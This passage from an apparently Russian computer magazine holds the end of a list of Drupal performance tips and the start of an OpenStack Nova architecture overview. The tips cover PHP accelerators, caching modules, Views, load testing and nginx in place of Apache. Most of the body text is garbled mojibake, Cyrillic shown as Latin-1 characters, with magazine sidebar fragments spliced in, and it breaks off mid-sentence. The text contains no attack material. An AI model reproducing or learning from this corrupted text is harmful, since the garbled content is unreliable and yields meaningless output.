áóäåò âðåìÿ èñïîëíåíèÿ ñöåíàðèÿ, òåì ìåíüøå òû 
áóäåøü âèäåòü áåëûé ýêðàí ñìåðòè.
• Àêñåëåðàòîð äëÿ PHP
Êàê áû â íàðîäå íå õâàëèëè PHP çà ïðîñòîòó è áûñ-
òðîäåéñòâèå, òðóäíî íå ñîãëàñèòüñÿ ñ òåì, ÷òî ýòîò 
èíòåðïðåòàòîð âñå ðàâíî ìåäëåííûé. Äëÿ âûïîëíåíèÿ 
êàæäîãî ñöåíàðèÿ èíòåðïðåòàòîðó PHP íåîáõîäèìî 
ñíà÷àëà ñ÷èòàòü è ðàçîáðàòü âåñü êîä ñöåíàðèÿ, çàòåì 
âûïîëíèòü åãî è âåðíóòü ðåçóëüòàòû. Ýòà îïåðàöèÿ 
ïðîâîäèòñÿ ïîñòîÿííî, è íà íåå òðàòèòñÿ ñàìûé äðàãî-
öåííûé ðåñóðñ — âðåìÿ. Äëÿ ðåøåíèÿ ýòîé ïðîáëåìû 
áûëè ïðèäóìàíû òàê íàçûâàåìûå php-àêñåëåðàòîðû — 
ïðîãðàììû, óñêîðÿþùèå âûïîëíåíèå php-ñöåíàðèåâ. 
Óñêîðåíèå äîñòèãàåòñÿ çà ñ÷åò êýøèðîâàíèÿ áàéò-êîäà 

êàæäîãî ñöåíàðèÿ. Äëÿ äîñòèæåíèÿ ìàêñèìàëüíîé 
ïðîèçâîäèòåëüíîñòè æåëàòåëüíî óñòàíîâèòü êà-
êîé-íèáóäü àêñåëåðàòîð. Îäèí èç íàèáîëåå óäà÷íûõ 
ïðåäñòàâèòåëåé ýòîãî òèïà ïðîãðàìì — eAccelerator 
(http://www.eaccelerator.net). Îí ïðîñò â óñòàíîâêå 
è íàñòðîéêå, à òàêæå ñóùåñòâåííî óñêîðÿåò ðåàêöèþ 
èíòåðïðåòàòîðà.
• ÑÓÁÄ
×àùå âñåãî â êà÷åñòâå ÑÓÁÄ äëÿ web-ïðîåêòîâ âûñòóïà-
åò MySQL. Îí áûñòðûé, áåñïëàòíûé, êðîññïëàòôîð-
ìåííûé è îáëàäàåò âñåìè íåîáõîäèìûìè ôóíêöèÿìè. 
Íî ïî íàñòðîéêå è îïòèìèçàöèè MySQL ïèøóò öåëûå 
êíèãè, òàê ÷òî ÿ íå áóäó ëåçòü â äåáðè, à ñðàçó ïîñîâå-
òóþ âêëþ÷èòü êýøèðîâàíèå (â mysql).
 
Совет №10:  Альтернатив-
ное кэширование
Â âîïðîñå îïòèìèçàöèè ïðåäåëîâ íå ñóùåñòâóåò. Íî â 
Drupal òàêèõ îãðàíè÷åíèé áîëåå, ÷åì äîñòàòî÷íî. È îäíèì 
èç òàêèõ òîðìîçîâ ÿâëÿåòñÿ âñòðîåííàÿ ñèñòåìà êýøèðî-
âàíèÿ. Îíà ðàáîòàåò õîðîøî, íî äëÿ áîëüøèõ ïðîåêòîâ åå 
íå õâàòàåò. Èìåííî ïîýòîìó ÷ëåíàìè ñîîáùåñòâà Drupal 
áûëà ðàçðàáîòàíà àëüòåðíàòèâíàÿ ñèñòåìà êýøèðîâà-
íèÿ. Ðåøåíèé ïîäîáíîãî ðîäà íåñêîëüêî, íî ëó÷øèì èç 
íèõ ÿ ñ÷èòàþ cacherouter (http://drupal.org/project/
cacherouter). Ïðîåêò CR ïðåäñòàâëÿåò ñîáîé ìîäóëü äëÿ 
Drupal è ðåàëèçóåò õðàíåíèå êýøà â ïàìÿòè ïîñðåäñòâîì 
âîçìîæíîñòåé äåìîíà memcached èëè àêñåëåðàòîðîâ 
(APC, eAccelerator, XCache). Â îáùåì, ðåêîìåíäîâàíî äëÿ 
áîëüøèõ ïðîåêòîâ.

Совет №11: Views вместо сво-
их запросов
Êàê-òî ðàç ìíå ïîïàëñÿ ñàéò íà áàçå Drupal. Â íåì âî ìíî-
æåñòâå ìåñò áûëè ïîíàòûêàíû sql-çàïðîñû. Ðàçðàáîò÷èê 
èñïîëüçîâàë èõ äëÿ âûâîäà â áëîêè ðàçëè÷íîé èíôîð-
ìàöèè: ïîñëåäíèå ñòàòüè, ïîñëåäíèå íîâîñòè è ïðî÷åå. 
Ñïîñîá èìååò ïðàâî íà ñóùåñòâîâàíèå, íî ïîëüçîâàòüñÿ 
èì âñå æå íå ðåêîìåíäóåòñÿ. Ïðàâèëüíåå áóäåò âîñïîëüçî-
âàòüñÿ ìîäóëåì Views (http://drupal.org/project/views). 
Îí ïîçâîëÿåò ñîçäàâàòü ðàçëè÷íûå ïðåäñòàâëåíèÿ, è, 
ñàìîå ãëàâíîå, äåëàåò èõ ýôôåêòèâíî. Òåáå íå íóæíî ðàç-
áèðàòüñÿ â ñòðóêòóðå ÁÄ — äàæå ñëîæíûå âûáîðêè ðåàëü-
íî ñäåëàòü ïóòåì ïðèìåíåíèÿ âèçóàëüíîãî êîíñòðóêòîðà. 
Êðîìå òîãî, åñòü âîçìîæíîñòü óïðàâëÿòü êýøèðîâàíèåì, 
ñîçäàâàÿ î÷åðåäíîå ïðåäñòàâëåíèå. Ïðè ðåàëèçàöèè âüþ-
øåê äëÿ ðåäêî èçìåíÿåìîé èíôîðìàöèè ýòà âîçìîæíîñòü 
áóäåò êñòàòè.
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•drupal.org — офи-
циальный сайт 
сообщества Drupal: 
здесь тебя всегда 
ждет последняя вер-
сия CMF, актуальная 
документация, об-
ширный репозиторий 
модулей;
• www.drupal.ru 
— русскоязычное 
сообщество Drupal: 
пожалуй, старейший 
ресурс о Drupal в 
рунете. Есть актив-
ный форум, свежие 
новости, большое 
количество людей, 
готовых оказать 
первую помощь;
• http://content-
management-
systems.info/ 
— отличный русс-
коязычный ресурс 
о Drupal: сниппеты, 
FAQ, статьи о CMF 
Drupal;
• vr-online.ru — бес-
платный электрон-
ный журнал для 
программистов и 
всех тех, кто интере-
суется околокомпью-
терными вопросами. 
С недавнего времени 
на сайте появился 
раздел, посвящен-
ный Drupal. Пока ста-
тей немного, но уже 
есть, что почитать.

links

HTTP://WWW

Удобная кнопка авторизации через 
«В Контакте»

Результаты нагрузочного тестирования
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Совет №12: Drupal.API
Ñóùåñòâóåò çàáëóæäåíèå, ÷òî âìåñòî èñïîëüçîâàíèÿ API ìîæíî îò-
äàòü ïðåäïî÷òåíèå äåäîâñêîìó ñïîñîáó — ïðÿìîìó âûïîëíåíèþ SQL 
çàïðîñîâ. Êîíå÷íî, åñòü ðÿä çàäà÷,  ðåøàòü êîòîðûå ëó÷øå èìåííî 
òàêèì ñïîñîáîì. Íî ýòî ñêîðåå èñêëþ÷åíèå. Âî âñåõ îñòàëüíûõ ñèòóà-
öèÿõ ïðàâèëüíåå áóäåò ïîëüçîâàòüñÿ Drupal.API. Âûçûâàÿ äîêóìåíòè-
ðîâàííûå ôóíêöèè, ðàçðàáîò÷èê ìîæåò áûòü óâåðåí, ÷òî åãî äåéñòâèÿ 
íå ïîâëåêóò çà ñîáîé íåãàòèâíûå ïîñëåäñòâèÿ. Ê ïðèìåðó, åñëè äëÿ 
äîáàâëåíèÿ íîâîãî ïîëüçîâàòåëÿ ñóùåñòâóåò ñïåöèàëüíàÿ ôóíêöèÿ, 
òî íè â êîåì ñëó÷àå íå ñòîèò ïîêàçûâàòü ïîíòû è äåëàòü ýòî çàïðîñîì. 
Â ñëó÷àÿõ, êîãäà ôóíêöèè ìàëî, æåëàòåëüíî âñå æå ñíà÷àëà ïîñìîò-
ðåòü åå èñõîäíèê, èçó÷èòü âûïîëíÿåìûå çàïðîñû è òîëüêî çàòåì íà èõ 
îñíîâå ñîñòàâëÿòü ñîáñòâåííûå.

Совет №13: Нагрузочное 
тестирование
Âíîâü ñîçäàííûé ïðîåêò ëó÷øå ñðàçó ïîäâåðãíóòü æåñòêîìó òåñòè-
ðîâàíèþ. Õîòü òðèæäû çàêðóòè âñå áîëòû è ãàéêè, íî øàíñ, ÷òî ñàéò 
íå âûäåðæèò øêâàëà ïîñåòèòåëåé, åñòü âñåãäà. Æåëàòåëüíî ñðàçó 
ïîòðàòèòü âðåìÿ íà íàãðóçî÷íîå òåñòèðîâàíèå è óæå íà ðàííèõ 
ýòàïàõ èñêëþ÷èòü âîçìîæíûå ïðîâàëû.  Äëÿ ïðîâåäåíèÿ ïîäîá-
íûõ òåñòîâ õîðîøî ñåáÿ çàðåêîìåíäîâàë ñåðâèñ http://loadimpact.
com. Îí ïðåäëàãàåò ðàçëè÷íûå òåñòû äëÿ ïðîâåðêè web-ïðîåêòà íà 
óñòîé÷èâîñòü ê íàãðóçêàì. Òåñòû åñòü íà ëþáîé âêóñ è êîøåëåê. Äëÿ 
ñåðüåçíîãî àíàëèçà èìååòñÿ pro-âåðñèÿ. Îíà, êîíå÷íî, ñòîèò äåíåã, íî 
òåñòîâ â íåé áîëüøå, à çíà÷èò è ïîëüçà — îùóòèìåé. Íå ïóãàéñÿ: åñëè 
ïðîåêò ïîäíèìàåòñÿ íà îáùåñòâåííûõ íà÷àëàõ, òî õâàòèò è áåñïëàò-
íîãî âàðèàíòà. Âî âñÿêîì ñëó÷àå, òû áóäåøü òî÷íî çíàòü, ÷òî òâîé ñàéò 
óâåðåííî ñåáÿ ÷óâñòâóåò ïðè çàõîäå íà íåãî ïÿòèäåñÿòè ÷åëîâåê.

Совет №14: Хороший индеец — 
мертвый индеец
Íè äëÿ êîãî íå ñåêðåò, ÷òî îëèìï web-ñåðâåðîâ óæå ìíîãî ëåò âîçãëàâ-
ëÿåò Apache. Ýòî äåéñòâèòåëüíî õîðîøåå è êà÷åñòâåííîå ÏÎ, õîòÿ è 
íå ñëèøêîì áûñòðîå. Apache â ñâÿçêå ñ Drupal ïîêàçûâàåò íå ëó÷øèå 
ðåçóëüòàòû è ïðè áîëüøîì íàïëûâå ïîñåòèòåëåé ñòàíîâèòñÿ ñàìûì 
óçêèì ìåñòîì. ×àñòè÷íî ïîáåäèòü òîðìîçà ïîçâîëÿåò õàðäêîðíûé 
òþíèíã, íî ïðåâðàòèòü åãî â ãåïàðäà âñå ðàâíî íå óäàñòñÿ. Ëó÷øå 
ñðàçó îò íåãî îòêàçàòüñÿ è çàáûòü, êàê î ñòðàøíîì ñíå. À ÷åì æå òîãäà 
ïîëüçîâàòüñÿ? Êîíå÷íî æå nginx (http://sysoev.ru/nginx)! Â íàñòîÿ-

ùåå âðåìÿ nginx, ïîæàëóé, ñàìûé áûñòðûé web-ñåðâåð. Òîò æå Apache 
îí îáõîäèò óæå íà ñòàðòå è ïðàêòè÷åñêè íè÷åì åìó íå óñòóïàåò (çà 
èñêëþ÷åíèåì êîëè÷åñòâà ìîäóëåé, êîòîðîå ó nginx ïîêà íåâåëèêî). 
Íåäàâíî íà íàøåì ïðîåêòå (http://vr-online.ru) ìû ðåøèëè îòêàçàòü-
ñÿ îò Apache è ïîëíîñòüþ ïåðåøëè íà nginx. Ïðîèçâîäèòåëüíîñòü âîç-
ðîñëà äàæå âèçóàëüíî: ïðè îòêðûòèè ñòðàíèö ñîçäàåòñÿ âïå÷àòëåíèå, 
÷òî íà ãåíåðèðîâàíèå âîîáùå íå òðåáóåòñÿ âðåìåíè. Ïðè èñïîëüçîâà-
íèè Apache îá ýòîì ìîæíî áûëî òîëüêî ìå÷òàòü.

Совет №15: Приручаем nginx
Nginx ïðåâîñõîäíî ïîäõîäèò äëÿ Drupal'îâñêèõ  ïðîåêòîâ, íî ÷òîáû 
âñå ÷åòêî è ïðàâèëüíî ðàáîòàëî, íóæíî óäåëèòü âðåìÿ íàñòðîéêå. Òóò 
ìåòîäîì íàó÷íîãî òûêà íå îáîéòèñü. Ïðèäåòñÿ ïåðåñèëèòü ñåáÿ è ïðî-
÷èòàòü îáúåìíóþ äîêóìåíòàöèþ, à òàêæå ïîâòîðèòü âñå ïîëó÷åííûå 
çíàíèÿ íà ïðàêòèêå. ×òîáû êàê-òî îáëåã÷èòü ñåáå æèçíü, ðåêîìåíäóþ 
ñêà÷àòü êîíôèã (https://github.com/yhager/nginx_drupal) äëÿ nginx, 
ñïåöèàëüíî ñîçäàííûé äëÿ Drupal. Ïðåäëîæåííûé êîíôèãóðàöèîí-
íûé ôàéë ñîäåðæèò âñå íåîáõîäèìîå äëÿ òîãî ÷òîáû Drupal êîððåêòíî 
çàðàáîòàë ñ nginx. Åñëè ïåðå÷èñëèòü âîçìîæíîñòè, êîòîðûå îòðàæåíû 
â êîíôèãóðàöèîííîì ôàéëå, òî ïîëó÷èòñÿ:
• ÷èñòûå url;
• ìóëüòèñàéòèíã;
• ïîâûøåííîå âðåìÿ âûïîëíåíèÿ fastcgi;
• ïîääåðæêà boost è òàê äàëåå.

Совет №16:  Готовься к Drupal 7
Íå çàáûâàé, ÷òî ðàçðàáîò÷èêè óæå äàâíåíüêî òðóäÿòñÿ íàä ñîçäàíèåì 
ñåäüìîé âåðñèè ýòîãî çàìå÷àòåëüíîãî ôðåéìâîðêà. Ñîâñåì íåäàâíî 
âûøåë ïåðâûé (íà ìîìåíò íàïèñàíèÿ ýòèõ ñòðîê) ðåëèç-êàíäèäàò,  è 
ÿ áû ðåêîìåíäîâàë òåáå åãî ïîòåñòèðîâàòü ïðè âîçìîæíîñòè. Â íîâîé 
âåòêå ðåàëèçîâàíû èíòåðåñíûå ôè÷è, êîòîðûõ òàê äàâíî íå õâàòàëî 
Drupal'ó.

Заключение
Drupal — íå ñàìàÿ ïðîñòàÿ CMS, êîòîðóþ ëåãêî íàñòðîèòü â íåñêîëüêî 
êëèêîâ ìûøêîé. ×òîáû âûæàòü èç íåãî ìàêñèìóì è ïîäíÿòü íåòèïè÷-
íûé ïðîåêò, ïðèäåòñÿ ïîâîçèòüñÿ. Òî÷íåå — êàê ñëåäóåò ïîâîçèòüñÿ. 
Îäíàêî ïîñëå ïåðâîãî óñïåøíîãî ïðîåêòà Drupal óæå íå áóäåò êàçàòü-
ñÿ òàêèì ñòðàøíûì è ñòðàííûì. Íå îòñòóïàé è íå ñäàâàéñÿ! Ïðîáóé, 
ýêñïåðèìåíòèðóé è, ÿ íàäåþñü, ìîè drupal'íûå ñîâåòû òåáå ïîìîãóò. 
Óäà÷è! z
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Не так давно на страницах рубрики syn/ack мы рассматривали открытую систему для создания 
облачных сервисов Eucalyptus, которая лежит в основе Ubuntu Enterprise Cloud. Сегодня мы 
поговорим о его главном конкуренте, одним из разработчиков которой выступает агентство 
NASA, а среди покровителей числятся Intel, AMD, Dell еще два десятка именитых компаний.

Îáëàêî, 
îòêðûòîå äëÿ âñåõ

Ìû ïðèâûêëè ê òîìó, ÷òî âñå íàøè ïðèëîæåíèÿ, ñåòåâûå ñåðâèñû è 
áàçû äàííûõ ðàáîòàþò íà ðåàëüíûõ, îñÿçàåìûõ ìàøèíàõ, êîòîðûå 
íåîáõîäèìî ïîêóïàòü, äîñòàâëÿòü, âûäåëÿòü ïëîùàäü äëÿ óñòàíîâ-
êè, íàñòðàèâàòü è ñëåäèòü çà ðàáîòîñïîñîáíîñòüþ. Îäíàêî âðåìåíà 
ìåíÿþòñÿ è íà ñìåíó äîðîãîñòîÿùèì æåëåçíûì ñåðâåðàì ïðèõîäÿò 
ñåðâåðû âèðòóàëüíûå, êîòîðûå ãîðàçäî äåøåâëå, óäîáíåå â îáñëó-
æèâàíèè è ñîâåðøåííî íå áîÿòñÿ ýêñïåðèìåíòîâ è ÷ðåçâû÷àéíûõ 
ñèòóàöèé. Ñïóñòÿ íåñêîëüêî ñåêóíä ïîñëå êëèêà ïî êíîïêå «êóïèòü» 
íàø íîâåíüêèé ñåðâåð ãîòîâ ê ðàáîòå è ìû äàæå íå ïîäîçðåâàåì 
î òîì, êàê îí ôóíêöèîíèðóåò, êàêóþ ÷àñòü ñåðâåðíîé çàíèìàåò è 
ñêîëüêî âûäåëÿåò òåïëà. À òàêæå íå çàáîòèìñÿ î ñâîåâðåìåííîé 
çàìåíå æåñòêèõ äèñêîâ è äðóãèõ êîìïîíåíòîâ ñèñòåìû. Âñå ýòî 
ïðîèñõîäèò ãäå-òî äàëåêî â îáëàêå, ñêðûòî îò íàøèõ ãëàç.
Âèðòóàëüíûå ñåðâåðû ïîëó÷èëè î÷åíü øèðîêîå ðàñïðîñòðàíåíèå 
ïîñëå îòêðûòèÿ ñåðâèñà Amazon EC2, êîòîðûé ñòàë ýòàëîíîì äëÿ 
îáëà÷íûõ ñåðâèñîâ óðîâíÿ IaaS (ýòî êîãäà â àðåíäó ñäàåòñÿ öåëàÿ 
èíôðàñòðóêòóðà äëÿ óïðàâëåíèÿ âèðòóàëüíûìè ñåðâåðàìè, à íå 
âûäåëåííàÿ âèðòóàëüíàÿ ìàøèíà èëè ïðèëîæåíèå). EC2 ïîçâîëèë 
îðãàíèçàöèÿì îòêàçàòüñÿ îò ñîáñòâåííûõ ñåðâåðíûõ è ïîëîâèíû 
øòàòà ñèñòåìíûõ àäìèíèñòðàòîðîâ â ïîëüçó ïàðêà óäîáíûõ â ñîïðî-
âîæäåíèè óäàëåííûõ ñåðâåðîâ, êîòîðûå ìîæíî èñïîëüçîâàòü äëÿ 
ëþáûõ íóæä, óâåëè÷èâàÿ êîëè÷åñòâî ìàøèí ïî ìåðå íàäîáíîñòè.
Ñåðâèñ, ñîçäàííûé Amazon, îêàçàëñÿ íå òîëüêî óäîáíûì â èñïîëü-
çîâàíèè, íî è âåñüìà òåõíîëîãè÷íûì, òàê ÷òî ìíîãèå, êòî ïûòàëñÿ 
ñîçäàòü îáëàêî äëÿ ñâîèõ íóæä èëè êîíêóðåíöèè ñ Amazon, òåðïåëè 
íåóäà÷ó. Ïðè âñåé ïðîñòîòå ñàìîé èäåè, îáëà÷íûé ñåðâèñ óðîâíÿ 
IaaS î÷åíü òðóäåí â ðåàëèçàöèè, ïîòîìó êàê òðåáóåò ñîçäàíèÿ 
óìíîé, ñàìîêîíòðîëëèðóåìîé èíôðàñòðóêòóðû, êîòîðàÿ áû óìåëà 
ðàâíîìåðíî ðàñïðåäåëÿòü íàãðóçêó ìåæäó ôèçè÷åñêèìè ìàøèíà-
ìè, íå áîÿëàñü ðàñøèðåíèÿ è áûëà óñòîé÷èâà ê ñáîÿì îáîðóäîâà-
íèÿ. Òàêîå áûëî ïîä ñèëó òîëüêî áîëüøèì êîììåð÷åñêèì îðãàíèçà-
öèÿì, êîòîðûå ïðîñèëè çà ñâîè ïðîäóêòû íåìàëûõ äåíåã, à òåì, êòî 
íå ìîã èõ çàïëàòèòü, ïðèõîäèëîñü äîâîëüñòâîâàòüñÿ òåì, ÷òî åñòü: 
áîëüøèì êîëè÷åñòâîì ðàçðîçíåííûõ êîìïîíåíòîâ, êîòîðûå íóæíî 
ñîáèðàòü âìåñòå è äîëãî òåñòèðîâàòü íàäåæíîñòü ðàáîòû ïîëó÷èâ-
øåéñÿ ñèñòåìû.
Eucalyptus ñòàë îäíèì èç ïåðâûõ Open Source ïðîåêòîâ, íàöåëåí-
íûõ íà ñîçäàíèå êîìïëåêñíîé èíôðàñòðóêòóðû, ïîçâîëÿþùåé 
ïîäíÿòü cloud-ñåðâèñ óðîâíÿ IaaS íå ïðèáåãàÿ ê äîïîëíèòåëüíûì 
èíñòðóìåíòàì. Ïðåäëàãàåìàÿ èì èíôðàñòðóêòóðà äåéñòâèòåëüíî 
óäîáíà, ýôôåêòèâíà, óñòîé÷èâà è, ÷òî íåìàëîâàæíî, ïîëíîñòüþ 
ñîâìåñòèìà ñ êëèåíòñêèìè èíñòðóìåíòàìè Amazon EC2. Òåì íå 
ìåíåå, èíôðàñòðóêòóðà íà îñíîâå Eucalyptus îêàçàëàñü íåäîñòà-
òî÷íî ìàñøòàáèðóåìîé, à ïóáëè÷íàÿ âåðñèÿ ôðåéìâîðêà ñèëüíî 

óðåçàííîé ïî ôóíêöèîíàëüíîñòè. Ïîýòîìó ñîâñåì ñêîðî íà ðûíêå 
ïîÿâèëñÿ ïðîåêò, ïðèçâàííûé ðåøèòü ýòè ïðîáëåìû è, íè ìíîãî íè 
ìàëî, ñòàòü ñòàíäàðòíîé îòêðûòîé ïëàòôîðìîé.
OpenStack áûë îáðàçîâàí ïóòåì ñëèÿíèÿ äâóõ íåçàâèñèìûõ ïðîåê-
òîâ: «Cloud Files and Cloud Servers», ðàçðàáàòûâàåìîé RockSpace, è 
«Nebula Cloud Platform», ñîçäàííîé NASA. Â ðåçóëüòàòå ïîëó÷èëàñü 
äîâîëüíî èíòåðåñíàÿ ñîëÿíêà, ðàçäåëåííàÿ îïÿòü æå íà äâà ïî÷òè 
íåçàâèñèìûõ ïðîäóêòà: OpenStack Nova è OpenStack Swift.

Nova — счетная машина
Ãëàâíûé êîìïîíåíò OpenStack — ýòî Nova (Compute), êîíòðîëëåð, 
óïðàâëÿþùèé ðàáîòîé âèðòóàëüíûõ ìàøèí. Ôàêòè÷åñêè Nova 
îòâå÷àåò çà âñå: îáðàáàòûâàåò çàïðîñû íà ñîçäàíèå âèðòóàëüíûõ 
ìàøèí, ñîåäèíÿåò èõ ñ âíåøíèì ìèðîì, ñëåäèò çà ðàáîòîñïîñîáíîñ-
òüþ è ðàñïðåäåëåíèåì íàãðóçêè íà ôèçè÷åñêèå ìàøèíû è êàíàëû 
ñâÿçè, ðåàãèðóåò íà ñáîè è ò.ä. Nova îñíîâàíà íà êîäå ñèñòåìû NASA 
Nebula (http://nebula.nasa.gov/), íàïèñàíà íà ÿçûêå ïðîãðàììèðî-
âàíèÿ Python è îïèðàåòñÿ íà ïðîòîêîë îáìåíà ñîîáùåíèÿìè AMQP.
Ñèñòåìà ñîñòîèò èç ñåìè îáîñîáëåííûõ êîìïîíåíòîâ:
• êîíòðîëëåð îáëàêà (Cloud Controller) ñëåäèò çà ñîñòîÿíèåì ñèñòå-
ìû è âûñòóïàåò â ðîëè ñâÿçóþùåãî çâåíà âñåõ îñòàëüíûõ êîìïîíåí-
òîâ ñèñòåìû;
• ñåðâåð API (API Server) ðåàëèçóåò web-èíòåðôåéñ, ïîçâîëÿþùèé 
óïðàâëÿòü êîíòðîëëåðîì îáëàêà;
• êîíòðîëëåð âû÷èñëåíèé (Compute Controller) îòâå÷àåò çà çàïóñê 
âèðòóàëüíûõ ìàøèí è èõ ñâÿçü ñî âñåé îñòàëüíîé èíôðàñòðóêòóðîé;
• õðàíèëèùå (Object Store) ïðåäîñòàâëÿåò ñåðâèñ õðàíåíèÿ äàííûõ, 
ñîâìåñòèìûé ñ Amazon S3;
• ìåíåäæåð àóòåíòèôèêàöèè (Auth Manager) ïðåäîñòàâëÿåò ñåðâè-
ñû àóòåíòèôèêàöèè è àâòîðèçàöèè;
• êîíòðîëëåð òîìîâ (Volume Controller) ïîçâîëÿåò ïîäêëþ÷àòü âèð-
òóàëüíûå óñòðîéñòâà õðàíåíèÿ ê âèðòóàëüíûì ìàøèíàì;
• ñåòåâîé êîíòðîëëåð (Network Controller) ñîçäàåò âèðòóàëüíûå 
ñåòè, ïîçâîëÿÿ âèðòóàëüíûì ìàøèíàì âçàèìîäåéñòâîâàòü äðóã ñ 
äðóãîì è âíåøíåé ñåòüþ;
• ïëàíèðîâùèê (Scheduler) îòâåòñòâåíåí çà âûáîð ïîäõîäÿùåãî 
êîíòðîëëåðà âû÷èñëåíèé äëÿ çàïóñêà íîâîé âèðòóàëüíîé ìàøèíû.
Íà ðèñóíêå õîðîøî âèäíî, êàê ýòè êîìïîíåíòû ñâÿçàíû ìåæäó 
ñîáîé. Ñåðâåð API, êîíòðîëëåð îáëàêà è ìåíåäæåð àóòåíòèôèêàöèè 
ñîñòàâëÿþò «óïðàâëÿþùèé öåíòð» îáëàêà, êîòîðûé äîëæåí ðàáî-
òàòü íà âûäåëåííîé ìàøèíå. Àäìèíèñòðàòîð èñïîëüçóåò óòèëèòó 
nova-manage äëÿ óïðàâëåíèÿ õàðàêòåðèñòèêàìè âñåé èíôðàñòðóê-
òóðû è äîñòóïîì ê íåé ïîëüçîâàòåëåé. Êëèåíòû, æåëàþùèå èñïîëü-
çîâàòü îáëà÷íûé ñåðâèñ, ïîäêëþ÷àþòñÿ ê ñåðâåðó API ñ ïîìîùüþ 

Îòêðûòàÿ cloud-èíôðàñòðóêòóðà OpenStack: 
îáçîð è ïåðâûå âïå÷àòëåíèÿ
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• Описание архи-
тектуры Nova: http://
nova.openstack.org/
nova.concepts.html;

• Руководство 
администратора 
Nova: http://nova.
openstack.org/
adminguide/index.
htmll;

• Руководство по 
созданию Nova-
кластера: http://
wiki.openstack.
org/NovaInstall/
MultipleServer; 

• Описание архи-
тектуры Swift: http://
swift.openstack.
org/overview_
architecture.html.

links

HTTP://WWW

êëèåíòñêèõ óòèëèò Amazon EC2 èëè èõ ñâîáîäíîãî 
âàðèàíòà ïîä íàçâàíèåì euca2ool èç ïðîåêòà Eucalyptus.
Åùå îäíà âûäåëåííàÿ ìàøèíà îòâå÷àåò çà óïðàâëåíèå 
õðàíèëèùåì äàííûõ (Object Store). Â ñîñòàâ Nova âêëþ-
÷åíà òîëüêî íà÷àëüíàÿ ðåàëèçàöèÿ S3-ñîâìåñòèìîãî 
õðàíèëèùà äàííûõ, êîòîðàÿ ìîæåò áûòü èñïîëüçîâàíà 
òîëüêî äëÿ îòëàäêè. Â ðåàëüíûõ æå ïðîåêòàõ íà åå ìåñòå 
äîëæåí áûòü óñòàíîâëåí Swift, ðàçâèâàþùèéñÿ îáîñîá-
ëåííî îò Nova.
Åùå îäíà ìàøèíà — ýòî êîíòðîëëåð òîìîâ, ïîçâîëÿþ-
ùèé ïîäêëþ÷àòü ê âèðòóàëüíûì ìàøèíàì ñâîåãî ðîäà 
âíåøíèå íàêîïèòåëè äàííûõ (âèðòóàëüíûå ôëýø-
áðåëêè). Åãî ïðèñóòñòâèå â èíôðàñòðóêòóðå ñîâñåì íå 
îáÿçàòåëüíî.
Íåñêîëüêî ìàøèí âûïîëíÿþò ðàáîòó ñåòåâûõ 
êîíòðîëëåðîâ, êîòîðûå îòâå÷àþò çà ðàñïðåäåëåíèå 
IP-àäðåñîâ ìåæäó âèðòóàëüíûìè ìàøèíàìè è ìîãóò 
âûñòóïàòü â ðîëè øëþçà, îòäåëÿþùåãî âèðòóàëüíûå 
ìàøèíû îò îñòàëüíûõ ñåãìåíòîâ ñåòè. Îáû÷íî íà 
îäèí ñåãìåíò âíóòðåííåé âèðòóàëüíîé ñåòè ïðèõîäèò-
ñÿ îäèí ñåòåâîé êîíòðîëëåð, íî ýòî ñêîðåå ïðàâèëî, 
÷åì òðåáîâàíèå.
Îäíà èç ìàøèí âûïîëíÿåò ôóíêöèè ïëàíèðîâùèêà, 
êîòîðûé äîëæåí ñëåäèòü çà êîíòðîëëåðàìè âû÷èñëåíèé 
è, â ñëó÷àå ïîñòóïëåíèÿ íîâîãî çàïðîñà íà ñîçäàíèå âèð-
òóàëüíîé ìàøèíû, âûáèðàòü äëÿ ýòîé öåëè íàèáîëåå 
ïîäõîäÿùåãî êàíäèäàòà (ðåøåíèå î ïðèãîäíîñòè ìîæåò 
áûòü ïðèíÿòî íà îñíîâå çàãðóæåííîñòè êîíòðîëëåðîâ 
âû÷èñëåíèé, êîëè÷åñòâà âèðòóàëüíûõ ìàøèí, âûïîëíÿ-
åìûõ íà íèõ è äðóãèõ ôàêòîðîâ).
Êîíòðîëëåðû âû÷èñëåíèé — ýòî îñíîâíîé êîñòÿê 
îáëà÷íîé èíôðàñòðóêòóðû OpenStack, îáû÷íî èõ êîëè-
÷åñòâî íàìíîãî ïðåâîñõîäèò êîëè÷åñòâî âñåõ îñòàëüíûõ 
ìàøèí ñåòè. Êîíòðîëëåðû âû÷èñëåíèé çàíèìàþòñÿ 
ïðèåìîì çàïðîñîâ íà ñîçäàíèå íîâîé âèðòóàëüíîé 
ìàøèíû, åå çàïóñêîì, ñëåæåíèåì çà ñîñòîÿíèåì âèðòó-
àëüíûõ ìàøèí, ïåðåçàïóñêîì è òàê äàëåå. ×åì áîëüøå 
êîíòðîëëåðîâ âû÷èñëåíèé â èíôðàñòðóêòóðå, òåì áîëü-
øå êëèåíòîâ ìîæåò îáñëóæèâàòü ñåðâèñ.
Îáðàáîòêà ïîëüçîâàòåëüñêèõ çàïðîñîâ â òàêîé ñèñòåìå 
âûãëÿäèò ñëåäóþùèì îáðàçîì: èñïîëüçóÿ êëèåíòñêèå 
èíñòðóìåíòû, ïîëüçîâàòåëü èíèöèèðóåò çàïðîñ íà 
ñîçäàíèå âèðòóàëüíîé ìàøèíû ê ñåðâåðó API. Ïîñëå àó-
òåíòèôèêàöèè è àâòîðèçàöèè ïîëüçîâàòåëÿ ñåðâåð API 
ðàçáèðàåò çàïðîñ è ïîñûëàåò åãî êîíòðîëëåðó îáëàêà, 
êîòîðûé èíèöèèðóåò òðè íîâûõ çàïðîñà: ê ñåòåâîìó 
êîíòðîëëåðó, ê õðàíèëèùó è ê ïëàíèðîâùèêó. Ñåòåâîé 
êîíòðîëëåð âûäåëÿåò IP-àäðåñ äëÿ íîâîé âèðòóàëüíîé 
ìàøèíû è âîçâðàùàåò åãî êîíòðîëëåðó îáëàêà. Â ñåòå-
âîì õðàíèëèùå ïðîèñõîäèò ïîèñê ïîäõîäÿùåãî îáðàçà 
æåñòêîãî äèñêà äëÿ áóäóùåé âèðòóàëüíîé ìàøèíû, 

àäðåñ êîòîðîãî âîçâðàùàåòñÿ êîíòðîëëåðó îáëàêà. 
Òåïåðü, èìåÿ âñå íåîáõîäèìîå äëÿ ñîçäàíèÿ íîâîé âèð-
òóàëüíîé ìàøèíû, êîíòðîëëåð îáëàêà ïîñûëàåò çàïðîñ 
ïëàíèðîâùèêó, êîòîðûé âûáèðàåò íàèáîëåå ïîäõîäÿ-
ùèé êîíòðîëëåð âû÷èñëåíèé è îòäàåò åìó çàïðîñ íà 
